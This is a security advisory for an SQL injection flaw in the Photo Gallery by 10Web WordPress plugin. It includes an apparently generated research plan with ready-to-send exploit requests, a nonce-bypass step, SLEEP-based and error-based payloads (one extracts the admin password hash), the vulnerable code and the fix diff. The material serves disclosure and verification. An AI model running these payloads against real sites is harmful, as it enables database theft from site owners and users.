Photo Gallery by 10Web <= 1.8.41 - Authenticated (Contributor+) SQL Injection via 'compact_album_order_by' Shortcode Parameter
Description
The Photo Gallery by 10Web – Mobile-Friendly Image Gallery plugin for WordPress is vulnerable to time-based SQL Injection via 'compact_album_order_by' Shortcode Parameter in all versions up to, and including, 1.8.41 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The malicious payload is stored via the 'shortcode_bwg' AJAX handler — accessible to Contributor-level users and exploitable without a valid nonce by omitting the 'page' parameter — and is subsequently triggered by the unauthenticated 'bwg_frontend_data' AJAX handler, meaning successful exploitation requires only that an attacker has Contributor-level access to save the shortcode.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.8.42
Source Code
WordPress.org SVNThis research plan outlines the technical steps to verify the SQL injection vulnerability (CVE-2026-9829) in the **Photo Gallery by 10Web** plugin (version <= 1.8.41). ### 1. Vulnerability Summary The vulnerability is a time-based SQL injection located in the `get_alb_gals_row` method within `front…
Show full research plan
This research plan outlines the technical steps to verify the SQL injection vulnerability (CVE-2026-9829) in the Photo Gallery by 10Web plugin (version <= 1.8.41).
1. Vulnerability Summary
The vulnerability is a time-based SQL injection located in the get_alb_gals_row method within frontend/models/model.php. The plugin fails to sanitize or prepare the $order_by parameter before concatenating it into a SQL query.
While the injection occurs during frontend display, the malicious payload is "pre-seeded" into the database via a shortcode configuration handler. A Contributor-level user can save a crafted shortcode attribute (compact_album_order_by) containing SQL commands. Because the configuration saving logic fails to check nonces when the page parameter is omitted, and the frontend trigger is unauthenticated, the vulnerability can be exploited with minimal privileges.
2. Attack Vector Analysis
- Initial Entry Point (Storage):
wp-admin/admin-ajax.phpusing theshortcode_bwgaction. - Trigger Entry Point (Execution):
wp-admin/admin-ajax.phpusing thebwg_frontend_dataaction (Unauthenticated). - Vulnerable Parameter:
compact_album_order_by(passed inside thetagtextshortcode string). - Authentication: Requires Contributor level credentials to save the shortcode, but no authentication to trigger the execution.
- Preconditions: A valid Gallery must exist in the plugin to ensure the vulnerable code path in
get_alb_gals_rowis executed.
3. Code Flow
- Storage Phase:
- The user sends a request to
admin-ajax.php?action=shortcode_bwg&task=save. ShortcodeController_bwg::execute()is called.- The controller checks
$this->from_menu. This is onlyTRUEif thepageparameter is exactly'shortcode_bwg'. By omittingpage,$this->from_menubecomesFALSE, bypassing theWDWLibrary::verify_noncecheck. ShortcodeController_bwg::save()is called. It retrievestagtext(the shortcode string) andcurrrent_id(the ID to save under).- The payload is stored in the
{$wpdb->prefix}bwg_shortcodetable.
- The user sends a request to
- Trigger Phase:
- An unauthenticated user requests
admin-ajax.php?action=bwg_frontend_data. BWG::frontend_data()(inphoto-gallery.php) is executed.- The model method
BWGModelSite::get_alb_gals_rowis eventually invoked. - The parameter
$order_by(derived from the saved shortcode attribute) is used in the following concatenation:$order_by = 'ORDER BY `' . ( ( !empty( $from ) && $from === 'widget' ) ? 'id' : $sort_by ) . '` ' . $order_by; // ... $sql = $query . ' ' . $order_by . ' ' . $limit_str; $rows = $wpdb->get_results($sql); - The arbitrary SQL in
$order_byis executed by$wpdb->get_results().
- An unauthenticated user requests
4. Nonce Acquisition Strategy
The vulnerability description explicitly states that the shortcode_bwg AJAX handler is exploitable without a valid nonce by omitting the page parameter.
- Logic: In
ShortcodeController_bwg::__construct, the$from_menuflag is set based on thepageparameter. Inexecute(), the nonce is only verified if$from_menuis true. - Strategy: Simply omit the
pageparameter in theshortcode_bwgrequest. No nonce is needed.
5. Exploitation Strategy
Step 1: Seed the Malicious Shortcode
Use a Contributor account to save a shortcode configuration containing the time-based payload.
- Tool:
http_request - Method:
POST - URL:
{{BASE_URL}}/wp-admin/admin-ajax.php?action=shortcode_bwg - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
Note:task=save&bwg_insert=1&currrent_id=1337&tagtext=[Best_Wordpress_Gallery id="1337" type="album" album_id="1" compact_album_order_by="ASC,(SELECT 1 FROM (SELECT(SLEEP(5)))a)"]currrent_idis intentionally misspelled to match the source code variable.
Step 2: Trigger the SQL Injection
Request the frontend data for the seeded shortcode ID. This step is unauthenticated.
- Tool:
http_request - Method:
POST - URL:
{{BASE_URL}}/wp-admin/admin-ajax.php - Body:
(Note: Parameters likeaction=bwg_frontend_data&shortcode_id=1337&page_number_0=1&albums_per_page_0=10page_number_0are often required by the plugin to reach the query logic).
6. Test Data Setup
- Create a Gallery: Use WP-CLI to ensure at least one gallery exists.
wp eval "global \$wpdb; \$wpdb->insert(\$wpdb->prefix . 'bwg_gallery', array('name' => 'Test Gallery', 'slug' => 'test-gallery', 'published' => 1));" - Create an Album: Ensure an album exists to be targeted by the shortcode.
wp eval "global \$wpdb; \$wpdb->insert(\$wpdb->prefix . 'bwg_album', array('name' => 'Test Album', 'slug' => 'test-album', 'published' => 1));" - Create Contributor:
wp user create attacker attacker@example.com --role=contributor --user_pass=password
7. Expected Results
- Step 1: Should return a
200 OK(often with a0or1response body). - Step 2: The HTTP response should be delayed by approximately 5 seconds. This confirms the
SLEEP(5)command was executed by the database.
8. Verification Steps
After the http_request in Step 2, check the plugin's shortcode table to verify the payload was indeed stored:
wp db query "SELECT tagtext FROM wp_bwg_shortcode WHERE id=1337"
Also, verify the query log (if enabled) or check the response time of a control request (without SLEEP) to ensure the 5-second delay was unique to the attack payload.
9. Alternative Approaches
If time-based injection is filtered, attempt Error-based Injection by inducing a syntax error inside the order_by parameter and checking if the response contains database errors:
- Payload:
compact_album_order_by="ASC, (SELECT 1 FROM (SELECT(updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)))a)" - Condition: This requires
WP_DEBUGto be enabled or the plugin to explicitly output$wpdb->last_error.
Summary
The Photo Gallery by 10Web plugin for WordPress is vulnerable to a time-based SQL Injection via the 'compact_album_order_by' shortcode attribute. A Contributor-level attacker can store a malicious payload in the plugin's shortcode table by bypassing a nonce check in the 'shortcode_bwg' AJAX handler, which is later executed by any user (including unauthenticated visitors) via the 'bwg_frontend_data' AJAX handler.
Vulnerable Code
// admin/controllers/Shortcode.php - Nonce bypass if 'page' is omitted public function execute() { $task = WDWLibrary::get('task'); if ( $task != '' && $this->from_menu ) { if ( !WDWLibrary::verify_nonce(BWG()->nonce) ) { die('Sorry, your nonce did not verify.'); } } // ... } // admin/controllers/Shortcode.php - Lack of sanitization before storage public function save() { global $wpdb; $tagtext = WDWLibrary::get('tagtext'); if ($tagtext) { $id = WDWLibrary::get('currrent_id', 0, 'intval'); $insert = WDWLibrary::get('bwg_insert', 0, 'intval'); if (!$insert) { $wpdb->update($wpdb->prefix . 'bwg_shortcode', array('tagtext' => $tagtext), array('id' => $id), array('%s'), array('%d')); } else { $wpdb->insert($wpdb->prefix . 'bwg_shortcode', array('id' => $id, 'tagtext' => $tagtext), array('%d', '%s')); } } } --- // frontend/models/model.php - SQL Injection point public function get_alb_gals_row( $bwg, $id, $albums_per_page, $sort_by, $order_by, $pagination_type = 0, $from = '' ) { // ... global $wpdb; $order_by = 'ORDER BY `' . ( ( !empty( $from ) && $from === 'widget' ) ? 'id' : $sort_by ) . '` ' . $order_by; // ... $sql = $query . $limitation; $rows = $wpdb->get_results($sql); // Vulnerable concatenation }
Security Fix
@@ -11,7 +11,7 @@ public function execute() { $task = WDWLibrary::get('task'); - if ( $task != '' && $this->from_menu ) { + if ( $task != '' && ( $this->from_menu || $task === 'save' ) ) { if ( !WDWLibrary::verify_nonce(BWG()->nonce) ) { die('Sorry, your nonce did not verify.'); } @@ -58,6 +58,7 @@ global $wpdb; $tagtext = WDWLibrary::get('tagtext'); if ($tagtext) { + $tagtext = WDWLibrary::sanitize_shortcode_tagtext( $tagtext ); /* clear tags */ $tagtext = " " . $tagtext; $id = WDWLibrary::get('currrent_id', 0, 'intval'); @@ -110,10 +110,14 @@ $albums_per_page = 0; } global $wpdb; - $order_by = 'ORDER BY `' . ( ( !empty( $from ) && $from === 'widget' ) ? 'id' : $sort_by ) . '` ' . $order_by; - if ( $sort_by == 'random' || $sort_by == 'RAND()' ) { + $sort_by = WDWLibrary::sanitize_album_sort_column( $sort_by, $from ); + $sort_direction = WDWLibrary::sanitize_sort_direction( $order_by ); + if ( $sort_by === 'random' ) { $order_by = 'ORDER BY RAND()'; } + else { + $order_by = 'ORDER BY `' . $sort_by . '` ' . $sort_direction; + }
Exploit Outline
The exploit is a two-step process. First, an attacker with Contributor-level access sends an AJAX request to 'wp-admin/admin-ajax.php?action=shortcode_bwg' with the 'task' set to 'save'. By omitting the 'page' parameter, the attacker bypasses the plugin's nonce check. The payload is placed within the 'tagtext' parameter as a shortcode attribute like [Best_Wordpress_Gallery compact_album_order_by="ASC, (SELECT SLEEP(5))"]. Second, the attacker triggers the SQL injection by making an unauthenticated request to 'admin-ajax.php?action=bwg_frontend_data' and providing the 'shortcode_id' of the previously saved shortcode. The plugin retrieves the malicious 'tagtext', parses the attributes, and concatenates the 'order_by' value directly into a database query, resulting in time-based SQL execution.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.